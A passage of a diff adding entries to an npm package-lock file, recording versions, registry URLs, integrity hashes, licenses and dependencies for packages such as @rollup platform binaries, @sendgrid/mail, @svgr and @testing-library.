6320+ "node_modules/@rollup/rollup-openharmony-arm64": {
6321+ "version": "4.53.3",
6322+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.53.3.tgz",
6323+ "integrity": "sha512-OueLAWgrNSPGAdUdIjSWXw+u/02BRTcnfw9PN41D2vq/JSEPnJnVuBgw18VkN8wcd4fjUs+jFHVM4t9+kBSNLw==",
6324+ "cpu": [
6325+ "arm64"
6326+ ],
6327+ "license": "MIT",
6328+ "optional": true,
6329+ "os": [
6330+ "openharmony"
6331+ ],
6332+ "peer": true
6333+ },
6334+ "node_modules/@rollup/rollup-win32-arm64-msvc": {
6335+ "version": "4.53.3",
6336+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.53.3.tgz",
6337+ "integrity": "sha512-GOFuKpsxR/whszbF/bzydebLiXIHSgsEUp6M0JI8dWvi+fFa1TD6YQa4aSZHtpmh2/uAlj/Dy+nmby3TJ3pkTw==",
6338+ "cpu": [
6339+ "arm64"
6340+ ],
6341+ "license": "MIT",
6342+ "optional": true,
6343+ "os": [
6344+ "win32"
6345+ ],
6346+ "peer": true
6347+ },
6348+ "node_modules/@rollup/rollup-win32-ia32-msvc": {
6349+ "version": "4.53.3",
6350+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.53.3.tgz",
6351+ "integrity": "sha512-iah+THLcBJdpfZ1TstDFbKNznlzoxa8fmnFYK4V67HvmuNYkVdAywJSoteUszvBQ9/HqN2+9AZghbajMsFT+oA==",
6352+ "cpu": [
6353+ "ia32"
6354+ ],
6355+ "license": "MIT",
6356+ "optional": true,
6357+ "os": [
6358+ "win32"
6359+ ],
6360+ "peer": true
6361+ },
6362+ "node_modules/@rollup/rollup-win32-x64-gnu": {
6363+ "version": "4.53.3",
6364+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.53.3.tgz",
6365+ "integrity": "sha512-J9QDiOIZlZLdcot5NXEepDkstocktoVjkaKUtqzgzpt2yWjGlbYiKyp05rWwk4nypbYUNoFAztEgixoLaSETkg==",
6366+ "cpu": [
6367+ "x64"
6368+ ],
6369+ "license": "MIT",
6370+ "optional": true,
6371+ "os": [
6372+ "win32"
6373+ ],
6374+ "peer": true
6375+ },
6376+ "node_modules/@rollup/rollup-win32-x64-msvc": {
6377+ "version": "4.53.3",
6378+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.53.3.tgz",
6379+ "integrity": "sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ==",
6380+ "cpu": [
6381+ "x64"
6382+ ],
6383+ "license": "MIT",
6384+ "optional": true,
6385+ "os": [
6386+ "win32"
6387+ ],
6388+ "peer": true
6389+ },
6390+ "node_modules/@rtsao/scc": {
6391+ "version": "1.1.0",
6392+ "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz",
6393+ "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==",
6394+ "license": "MIT"
6395+ },
6396+ "node_modules/@rushstack/eslint-patch": {
6397+ "version": "1.15.0",
6398+ "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.15.0.tgz",
6399+ "integrity": "sha512-ojSshQPKwVvSMR8yT2L/QtUkV5SXi/IfDiJ4/8d6UbTPjiHVmxZzUAzGD8Tzks1b9+qQkZa0isUOvYObedITaw==",
6400+ "license": "MIT"
6401+ },
6402+ "node_modules/@sendgrid/client": {
6403+ "version": "8.1.6",
6404+ "resolved": "https://registry.npmjs.org/@sendgrid/client/-/client-8.1.6.tgz",
6405+ "integrity": "sha512-/BHu0hqwXNHr2aLhcXU7RmmlVqrdfrbY9KpaNj00KZHlVOVoRxRVrpOCabIB+91ISXJ6+mLM9vpaVUhK6TwBWA==",
6406+ "license": "MIT",
6407+ "dependencies": {
6408+ "@sendgrid/helpers": "^8.0.0",
6409+ "axios": "^1.12.0"
6410+ },
6411+ "engines": {
6412+ "node": ">=12.*"
6413+ }
6414+ },
6415+ "node_modules/@sendgrid/helpers": {
6416+ "version": "8.0.0",
6417+ "resolved": "https://registry.npmjs.org/@sendgrid/helpers/-/helpers-8.0.0.tgz",
6418+ "integrity": "sha512-Ze7WuW2Xzy5GT5WRx+yEv89fsg/pgy3T1E3FS0QEx0/VvRmigMZ5qyVGhJz4SxomegDkzXv/i0aFPpHKN8qdAA==",
6419+ "license": "MIT",
6420+ "dependencies": {
6421+ "deepmerge": "^4.2.2"
6422+ },
6423+ "engines": {
6424+ "node": ">= 12.0.0"
6425+ }
6426+ },
6427+ "node_modules/@sendgrid/mail": {
6428+ "version": "8.1.6",
6429+ "resolved": "https://registry.npmjs.org/@sendgrid/mail/-/mail-8.1.6.tgz",
6430+ "integrity": "sha512-/ZqxUvKeEztU9drOoPC/8opEPOk+jLlB2q4+xpx6HVLq6aFu3pMpalkTpAQz8XfRfpLp8O25bh6pGPcHDCYpqg==",
6431+ "license": "MIT",
6432+ "dependencies": {
6433+ "@sendgrid/client": "^8.1.5",
6434+ "@sendgrid/helpers": "^8.0.0"
6435+ },
6436+ "engines": {
6437+ "node": ">=12.*"
6438+ }
6439+ },
6440+ "node_modules/@sinclair/typebox": {
6441+ "version": "0.34.41",
6442+ "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.41.tgz",
6443+ "integrity": "sha512-6gS8pZzSXdyRHTIqoqSVknxolr1kzfy4/CeDnrzsVz8TTIWUbOBr6gnzOmTYJ3eXQNh4IYHIGi5aIL7sOZ2G/g==",
6444+ "license": "MIT"
6445+ },
6446+ "node_modules/@sinonjs/commons": {
6447+ "version": "1.8.6",
6448+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz",
6449+ "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==",
6450+ "license": "BSD-3-Clause",
6451+ "dependencies": {
6452+ "type-detect": "4.0.8"
6453+ }
6454+ },
6455+ "node_modules/@sinonjs/fake-timers": {
6456+ "version": "8.1.0",
6457+ "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz",
6458+ "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==",
6459+ "license": "BSD-3-Clause",
6460+ "dependencies": {
6461+ "@sinonjs/commons": "^1.7.0"
6462+ }
6463+ },
6464+ "node_modules/@socket.io/component-emitter": {
6465+ "version": "3.1.2",
6466+ "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz",
6467+ "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==",
6468+ "license": "MIT"
6469+ },
6470+ "node_modules/@stitches/react": {
6471+ "version": "1.2.8",
6472+ "resolved": "https://registry.npmjs.org/@stitches/react/-/react-1.2.8.tgz",
6473+ "integrity": "sha512-9g9dWI4gsSVe8bNLlb+lMkBYsnIKCZTmvqvDG+Avnn69XfmHZKiaMrx7cgTaddq7aTPPmXiTsbFcUy0xgI4+wA==",
6474+ "license": "MIT",
6475+ "peerDependencies": {
6476+ "react": ">= 16.3.0"
6477+ }
6478+ },
6479+ "node_modules/@surma/rollup-plugin-off-main-thread": {
6480+ "version": "2.2.3",
6481+ "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz",
6482+ "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==",
6483+ "license": "Apache-2.0",
6484+ "dependencies": {
6485+ "ejs": "^3.1.6",
6486+ "json5": "^2.2.0",
6487+ "magic-string": "^0.25.0",
6488+ "string.prototype.matchall": "^4.0.6"
6489+ }
6490+ },
6491+ "node_modules/@surma/rollup-plugin-off-main-thread/node_modules/magic-string": {
6492+ "version": "0.25.9",
6493+ "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz",
6494+ "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==",
6495+ "license": "MIT",
6496+ "dependencies": {
6497+ "sourcemap-codec": "^1.4.8"
6498+ }
6499+ },
6500+ "node_modules/@svgr/babel-plugin-add-jsx-attribute": {
6501+ "version": "5.4.0",
6502+ "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz",
6503+ "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==",
6504+ "license": "MIT",
6505+ "engines": {
6506+ "node": ">=10"
6507+ },
6508+ "funding": {
6509+ "type": "github",
6510+ "url": "https://github.com/sponsors/gregberge"
6511+ }
6512+ },
6513+ "node_modules/@svgr/babel-plugin-remove-jsx-attribute": {
6514+ "version": "5.4.0",
6515+ "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz",
6516+ "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==",
6517+ "license": "MIT",
6518+ "engines": {
6519+ "node": ">=10"
6520+ },
6521+ "funding": {
6522+ "type": "github",
6523+ "url": "https://github.com/sponsors/gregberge"
6524+ }
6525+ },
6526+ "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": {
6527+ "version": "5.0.1",
6528+ "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz",
6529+ "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==",
6530+ "license": "MIT",
6531+ "engines": {
6532+ "node": ">=10"
6533+ },
6534+ "funding": {
6535+ "type": "github",
6536+ "url": "https://github.com/sponsors/gregberge"
6537+ }
6538+ },
6539+ "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": {
6540+ "version": "5.0.1",
6541+ "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz",
6542+ "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==",
6543+ "license": "MIT",
6544+ "engines": {
6545+ "node": ">=10"
6546+ },
6547+ "funding": {
6548+ "type": "github",
6549+ "url": "https://github.com/sponsors/gregberge"
6550+ }
6551+ },
6552+ "node_modules/@svgr/babel-plugin-svg-dynamic-title": {
6553+ "version": "5.4.0",
6554+ "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz",
6555+ "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==",
6556+ "license": "MIT",
6557+ "engines": {
6558+ "node": ">=10"
6559+ },
6560+ "funding": {
6561+ "type": "github",
6562+ "url": "https://github.com/sponsors/gregberge"
6563+ }
6564+ },
6565+ "node_modules/@svgr/babel-plugin-svg-em-dimensions": {
6566+ "version": "5.4.0",
6567+ "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz",
6568+ "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==",
6569+ "license": "MIT",
6570+ "engines": {
6571+ "node": ">=10"
6572+ },
6573+ "funding": {
6574+ "type": "github",
6575+ "url": "https://github.com/sponsors/gregberge"
6576+ }
6577+ },
6578+ "node_modules/@svgr/babel-plugin-transform-react-native-svg": {
6579+ "version": "5.4.0",
6580+ "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz",
6581+ "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==",
6582+ "license": "MIT",
6583+ "engines": {
6584+ "node": ">=10"
6585+ },
6586+ "funding": {
6587+ "type": "github",
6588+ "url": "https://github.com/sponsors/gregberge"
6589+ }
6590+ },
6591+ "node_modules/@svgr/babel-plugin-transform-svg-component": {
6592+ "version": "5.5.0",
6593+ "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz",
6594+ "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==",
6595+ "license": "MIT",
6596+ "engines": {
6597+ "node": ">=10"
6598+ },
6599+ "funding": {
6600+ "type": "github",
6601+ "url": "https://github.com/sponsors/gregberge"
6602+ }
6603+ },
6604+ "node_modules/@svgr/babel-preset": {
6605+ "version": "5.5.0",
6606+ "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-5.5.0.tgz",
6607+ "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==",
6608+ "license": "MIT",
6609+ "dependencies": {
6610+ "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0",
6611+ "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0",
6612+ "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1",
6613+ "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1",
6614+ "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0",
6615+ "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0",
6616+ "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0",
6617+ "@svgr/babel-plugin-transform-svg-component": "^5.5.0"
6618+ },
6619+ "engines": {
6620+ "node": ">=10"
6621+ },
6622+ "funding": {
6623+ "type": "github",
6624+ "url": "https://github.com/sponsors/gregberge"
6625+ }
6626+ },
6627+ "node_modules/@svgr/core": {
6628+ "version": "5.5.0",
6629+ "resolved": "https://registry.npmjs.org/@svgr/core/-/core-5.5.0.tgz",
6630+ "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==",
6631+ "license": "MIT",
6632+ "dependencies": {
6633+ "@svgr/plugin-jsx": "^5.5.0",
6634+ "camelcase": "^6.2.0",
6635+ "cosmiconfig": "^7.0.0"
6636+ },
6637+ "engines": {
6638+ "node": ">=10"
6639+ },
6640+ "funding": {
6641+ "type": "github",
6642+ "url": "https://github.com/sponsors/gregberge"
6643+ }
6644+ },
6645+ "node_modules/@svgr/hast-util-to-babel-ast": {
6646+ "version": "5.5.0",
6647+ "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz",
6648+ "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==",
6649+ "license": "MIT",
6650+ "dependencies": {
6651+ "@babel/types": "^7.12.6"
6652+ },
6653+ "engines": {
6654+ "node": ">=10"
6655+ },
6656+ "funding": {
6657+ "type": "github",
6658+ "url": "https://github.com/sponsors/gregberge"
6659+ }
6660+ },
6661+ "node_modules/@svgr/plugin-jsx": {
6662+ "version": "5.5.0",
6663+ "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz",
6664+ "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==",
6665+ "license": "MIT",
6666+ "dependencies": {
6667+ "@babel/core": "^7.12.3",
6668+ "@svgr/babel-preset": "^5.5.0",
6669+ "@svgr/hast-util-to-babel-ast": "^5.5.0",
6670+ "svg-parser": "^2.0.2"
6671+ },
6672+ "engines": {
6673+ "node": ">=10"
6674+ },
6675+ "funding": {
6676+ "type": "github",
6677+ "url": "https://github.com/sponsors/gregberge"
6678+ }
6679+ },
6680+ "node_modules/@svgr/plugin-svgo": {
6681+ "version": "5.5.0",
6682+ "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz",
6683+ "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==",
6684+ "license": "MIT",
6685+ "dependencies": {
6686+ "cosmiconfig": "^7.0.0",
6687+ "deepmerge": "^4.2.2",
6688+ "svgo": "^1.2.2"
6689+ },
6690+ "engines": {
6691+ "node": ">=10"
6692+ },
6693+ "funding": {
6694+ "type": "github",
6695+ "url": "https://github.com/sponsors/gregberge"
6696+ }
6697+ },
6698+ "node_modules/@svgr/webpack": {
6699+ "version": "5.5.0",
6700+ "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-5.5.0.tgz",
6701+ "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==",
6702+ "license": "MIT",
6703+ "dependencies": {
6704+ "@babel/core": "^7.12.3",
6705+ "@babel/plugin-transform-react-constant-elements": "^7.12.1",
6706+ "@babel/preset-env": "^7.12.1",
6707+ "@babel/preset-react": "^7.12.5",
6708+ "@svgr/core": "^5.5.0",
6709+ "@svgr/plugin-jsx": "^5.5.0",
6710+ "@svgr/plugin-svgo": "^5.5.0",
6711+ "loader-utils": "^2.0.0"
6712+ },
6713+ "engines": {
6714+ "node": ">=10"
6715+ },
6716+ "funding": {
6717+ "type": "github",
6718+ "url": "https://github.com/sponsors/gregberge"
6719+ }
6720+ },
6721+ "node_modules/@testing-library/dom": {
6722+ "version": "10.4.1",
6723+ "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz",
6724+ "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==",
6725+ "license": "MIT",
6726+ "peer": true,
6727+ "dependencies": {
6728+ "@babel/code-frame": "^7.10.4",
6729+ "@babel/runtime": "^7.12.5",
6730+ "@types/aria-query": "^5.0.1",
6731+ "aria-query": "5.3.0",
6732+ "dom-accessibility-api": "^0.5.9",
6733+ "lz-string": "^1.5.0",
6734+ "picocolors": "1.1.1",
6735+ "pretty-format": "^27.0.2"
6736+ },
6737+ "engines": {
6738+ "node": ">=18"
6739+ }
6740+ },
6741+ "node_modules/@testing-library/jest-dom": {
6742+ "version": "5.17.0",
6743+ "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-5.17.0.tgz",
6744+ "integrity": "sha512-ynmNeT7asXyH3aSVv4vvX4Rb+0qjOhdNHnO/3vuZNqPmhDpV/+rCSGwQ7bLcmU2cJ4dvoheIO85LQj0IbJHEtg==",
6745+ "license": "MIT",
6746+ "dependencies": {
6747+ "@adobe/css-tools": "^4.0.1",
6748+ "@babel/runtime": "^7.9.2",
6749+ "@types/testing-library__jest-dom": "^5.9.1",
6750+ "aria-query": "^5.0.0",
6751+ "chalk": "^3.0.0",
6752+ "css.escape": "^1.5.1",
6753+ "dom-accessibility-api": "^0.5.6",
6754+ "lodash": "^4.17.15",
6755+ "redent": "^3.0.0"
6756+ },
6757+ "engines": {
6758+ "node": ">=8",
6759+ "npm": ">=6",
6760+ "yarn": ">=1"
6761+ }
6762+ },
6763+ "node_modules/@testing-library/react": {
6764+ "version": "13.4.0",
6765+ "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-13.4.0.tgz",
6766+ "integrity": "sha512-sXOGON+WNTh3MLE9rve97ftaZukN3oNf2KjDy7YTx6hcTO2uuLHuCGynMDhFwGw/jYf4OJ2Qk0i4i79qMNNkyw==",
6767+ "license": "MIT",
6768+ "dependencies": {
6769+ "@babel/runtime": "^7.12.5",
6770+ "@testing-library/dom": "^8.5.0",
6771+ "@types/react-dom": "^18.0.0"
6772+ },
6773+ "engines": {
6774+ "node": ">=12"
6775+ },
6776+ "peerDependencies": {
6777+ "react": "^18.0.0",
6778+ "react-dom": "^18.0.0"
6779+ }
6780+ },
6781+ "node_modules/@testing-library/react/node_modules/@testing-library/dom": {
6782+ "version": "8.20.1",
6783+ "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-8.20.1.tgz",
6784+ "integrity": "sha512-/DiOQ5xBxgdYRC8LNk7U+RWat0S3qRLeIw3ZIkMQ9kkVlRmwD/Eg8k8CqIpD6GW7u20JIUOfMKbxtiLutpjQ4g==",
6785+ "license": "MIT",
6786+ "dependencies": {
6787+ "@babel/code-frame": "^7.10.4",
6788+ "@babel/runtime": "^7.12.5",
6789+ "@types/aria-query": "^5.0.1",
6790+ "aria-query": "5.1.3",
6791+ "chalk": "^4.1.0",
6792+ "dom-accessibility-api": "^0.5.9",
6793+ "lz-string": "^1.5.0",
6794+ "pretty-format": "^27.0.2"
6795+ },
6796+ "engines": {
6797+ "node": ">=12"
6798+ }
6799+ },
6800+ "node_modules/@testing-library/react/node_modules/aria-query": {
6801+ "version": "5.1.3",
6802+ "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.1.3.tgz",
6803+ "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==",
6804+ "license": "Apache-2.0",
6805+ "dependencies": {
6806+ "deep-equal": "^2.0.5"
6807+ }
6808+ },
6809+ "node_modules/@testing-library/react/node_modules/chalk": {
6810+ "version": "4.1.2",
6811+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
6812+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
6813+ "license": "MIT",
6814+ "dependencies": {
6815+ "ansi-styles": "^4.1.0",
6816+ "supports-color": "^7.1.0"
6817+ },
6818+ "engines": {
6819+ "node": ">=10"
6820+ },
6821+ "funding": {
6822+ "url": "https://github.com/chalk/chalk?sponsor=1"
6823+ }
6824+ },
6825+ "node_modules/@testing-library/user-event": {
6826+ "version": "13.5.0",
6827+ "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-13.5.0.tgz",
6828+ "integrity": "sha512-5Kwtbo3Y/NowpkbRuSepbyMFkZmHgD+vPzYB/RJ4oxt5Gj/avFFBYjhw27cqSVPVw/3a67NK1PbiIr9k4Gwmdg==",
6829+ "license": "MIT",
6830+ "dependencies": {
6831+ "@babel/runtime": "^7.12.5"
6832+ },
6833+ "engines": {
6834+ "node": ">=10",
6835+ "npm": ">=6"
6836+ },
6837+ "peerDependencies": {
6838+ "@testing-library/dom": ">=7.21.4"
6839+ }
6840+ },
6841+ "node_modules/@tootallnate/once": {
6842+ "version": "1.1.2",
6843+ "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
6844+ "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
6845+ "license": "MIT",
6846+ "engines": {
6847+ "node": ">= 6"
6848+ }
6849+ },
6850+ "node_modules/@trysound/sax": {
6851+ "version": "0.2.0",
6852+ "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz",
6853+ "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==",
6854+ "license": "ISC",
6855+ "engines": {
6856+ "node": ">=10.13.0"
6857+ }
6858+ },
6859+ "node_modules/@tweenjs/tween.js": {
6860+ "version": "23.1.3",
6861+ "resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz",
6862+ "integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==",
6863+ "license": "MIT"
6864+ },
6865+ "node_modules/@types/aria-query": {
6866+ "version": "5.0.4",
6867+ "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz",
6868+ "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==",
6869+ "license": "MIT"
6870+ },
6871+ "node_modules/@types/babel__core": {
6872+ "version": "7.20.5",
6873+ "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
6874+ "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
6875+ "license": "MIT",
6876+ "dependencies": {
6877+ "@babel/parser": "^7.20.7",
6878+ "@babel/types": "^7.20.7",
6879+ "@types/babel__generator": "*",
6880+ "@types/babel__template": "*",
6881+ "@types/babel__traverse": "*"
6882+ }
6883+ },
6884+ "node_modules/@types/babel__generator": {
6885+ "version": "7.27.0",
6886+ "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
6887+ "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
6888+ "license": "MIT",
6889+ "dependencies": {
6890+ "@babel/types": "^7.0.0"
6891+ }
6892+ },
6893+ "node_modules/@types/babel__template": {
6894+ "version": "7.4.4",
6895+ "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
6896+ "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
6897+ "license": "MIT",
6898+ "dependencies": {
6899+ "@babel/parser": "^7.1.0",
6900+ "@babel/types": "^7.0.0"
6901+ }
6902+ },
6903+ "node_modules/@types/babel__traverse": {
6904+ "version": "7.28.0",
6905+ "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
6906+ "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==",
6907+ "license": "MIT",
6908+ "dependencies": {
6909+ "@babel/types": "^7.28.2"
6910+ }
6911+ },
6912+ "node_modules/@types/bn.js": {
6913+ "version": "4.11.6",
6914+ "resolved": "https://registry.npmjs.org/@types/bn.js/-/bn.js-4.11.6.tgz",
6915+ "integrity": "sha512-pqr857jrp2kPuO9uRjZ3PwnJTjoQy+fcdxvBTvHm6dkmEL9q+hDD/2j/0ELOBPtPnS8LjCX0gI9nbl8lVkadpg==",
6916+ "license": "MIT",
6917+ "dependencies": {
6918+ "@types/node": "*"
6919+ }
6920+ },
6921+ "node_modules/@types/body-parser": {
6922+ "version": "1.19.6",
6923+ "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz",
6924+ "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==",
6925+ "license": "MIT",
6926+ "dependencies": {
6927+ "@types/connect": "*",
6928+ "@types/node": "*"
6929+ }
6930+ },
6931+ "node_modules/@types/bonjour": {
6932+ "version": "3.5.13",
6933+ "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.13.tgz",
6934+ "integrity": "sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==",
6935+ "license": "MIT",
6936+ "dependencies": {
6937+ "@types/node": "*"
